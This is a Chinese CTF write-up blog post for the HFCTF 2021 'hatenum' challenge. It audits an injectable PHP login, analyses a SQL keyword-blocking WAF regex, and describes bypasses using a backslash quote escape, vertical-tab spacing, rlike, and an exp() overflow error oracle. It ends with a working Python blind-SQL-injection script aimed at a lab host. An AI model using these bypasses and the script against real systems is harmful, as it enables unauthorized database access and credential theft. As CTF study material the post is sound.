hatenum题解

[HFCTF 2021 Final]hatenum 题解

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
error_reporting(0);
session_start();
class User{
public $host = "localhost";
public $user = "root";
public $pass = "123456";
public $database = "ctf";
public $conn;
function __construct(){
$this->conn = new mysqli($this->host,$this->user,$this->pass,$this->database);
if(mysqli_connect_errno()){
die('connect error');
}
}
function find($username){
$res = $this->conn->query("select * from users where username='$username'");
if($res->num_rows>0){
return True;
}
else{
return False;
}

}
function register($username,$password,$code){
if($this->conn->query("insert into users (username,password,code) values ('$username','$password','$code')")){
return True;
}
else{
return False;
}
}
function login($username,$password,$code){
$res = $this->conn->query("select * from users where username='$username' and password='$password'");
if($this->conn->error){
return 'error';
}
else{
$content = $res->fetch_array();
if($content['code']===$_POST['code']){
$_SESSION['username'] = $content['username'];
return 'success';
}
else{
return 'fail';
}
}

}
}

function sql_waf($str){
if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){
die('Hack detected');
}
}

function num_waf($str){
if(preg_match('/\d{9}|0x[0-9a-f]{9}/i',$str)){
die('Huge num detected');
}
}

function array_waf($arr){
foreach ($arr as $key => $value) {
if(is_array($value)){
array_waf($value);
}
else{
sql_waf($value);
num_waf($value);
}
}
}

过滤分析

1
2
3
4
5
6
7
8
9
10
11
function sql_waf($str){
if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){
die('Hack detected');
}
}

function num_waf($str){
if(preg_match('/\d{9}|0x[0-9a-f]{9}/i',$str)){
die('Huge num detected');
}
}

第一个sqlwaf基本上把能用的sql注入方法禁用了,他在登录时有三种情况,登录成功、登录失败和发生错误,这里可以用错误盲注

exp函数

1、MySQL中的exp()函数用于将E提升为指定数字X的幂,这里E(2.718281 …)是自然对数的底数,exp()函数在sql注入里面exp函数一般被用做报错注入(mysql<5.5.53)里面输出报错信息

2、这里注入利用的是Double溢出,exp(x) 含义为e的x次方,当x>709时就超过了double的取值范围造成报错输出

3、我们可以用 ~ 运算符按位取反的方式得到一个最大值,该运算符也可以处理一个字符串,经过其处理的字符串会变成大一个很大整数足以超过 Double 数组范围,从而报错输出

绕过分析

我们来进行绕过关键字

盲注通常会用到以下几个关键字:

字符串截取类(substr)、条件判断类(if)、语句分割类(空格、/**/)、逻辑运算类(and、or)

字符串截取类

禁用:substr、left、right、mid

绕过: like、rlike、instr

其中like与rlike的区别是 rlike支持正则表达式,而like只支持如%,_等有限的通配符,like可以近似于”=”

语句分割

禁用: 空格、r(%0d)、n(%0a)、t(%09)、/**/

语句之间分割常常使用空格

绕过: %a0(&nbsp)、%0b(垂直制表符)、%0c(换页符)

逻辑运算

禁用: and、or、=、>、<、regexp

绕过: &&、||、 like、greatest、least

条件判断

禁用: 因为禁用了,,所以if 语句没法使用

exp()函数除了能用在报错注入以外,利用exp在参数大于709时会报错的特性可以用来构造条件判断语句

即如果 (... rlike ...) 中的语句执行匹配后的结果为True,经过减号转换后为 exp(710-1) 后不会溢出;若为false,转换为 exp(710-0) 后则会溢出并报错

解题

SQL语句拼接

1
$res = $this->conn->query("select * from users where username='$username' and password='$password'");

在过滤我们传入的数据后拼接到SQL语句当中,由于把单引号过滤了,这里无法使用单引号对其进行闭合,所以这里我们把username设置为\从而把后面的单引号取过来利用,然后把password设置成||1 &&()#

这样sql语句就变成了

1
2
select * from users where username=’\’ and password=||if(....)#’;
username= \’ and password=

构造payload

接下来就是在password后边的判断处注入我们的payload,

1
payload=f"||1 && username rlike 0x61646d69 && exp(710-(code rlike {gethex(ch+a)}))#".replace(" ",chr(0x0b))

由于代码对数字进行的长度限制,这里我们只能三个三个的进行正则匹配,若匹配成功则回显fail,失败则是error

最终POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests
import string
url = "http://40004396-7df7-41d5-970d-85741f792101.node4.buuoj.cn:81/"
all_chr = string.ascii_letters + string.digits + ""
# /union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i
# select * from users where username='username' and password='password'
def gethex(raw):
ret = '0x'
for i in raw:
ret += hex(ord(i))[2:].rjust(2, '0')
return ret

end = ""
a="^"# 匹配前面部分
#a="$"# 匹配后面部分
for i in range(24):
for ch in all_chr:
# .replace(' ', chr(0x0b))或.replace(' ', chr(0x0c))都行
# 匹配前面部分
payload = f"||1 && username rlike 0x61646d69 && exp(710-(code rlike {gethex(a + ch)}))#".replace(' ', chr(0x0b))
# 匹配后面部分
# payload = f"||1 && username rlike 0x61646d69 && exp(710-(code rlike {gethex(ch + a)}))#".replace(' ', chr(0x0b))

data = {"username": "\\", "password": payload, "code": ""}
req = requests.post(url + "/login.php", data=data, allow_redirects=False)
if 'fail' in req.text:
end += ch
print(a+ch, end)
if len(a) == 3:
a = a[1:] + ch
else:
a += ch
break

data = {
"username": "\\",
"password": "||1#",
"code": "erghruigh2uygh23uiu32ig"
}

req = requests.post(url + "/login.php", data=data)

print(req.text)

hatenum题解
https://lvyzcc.github.io/2025/04/05/[HFCTF 2021 Final]hatenum/
作者
LvYz
发布于
2025年4月5日
许可协议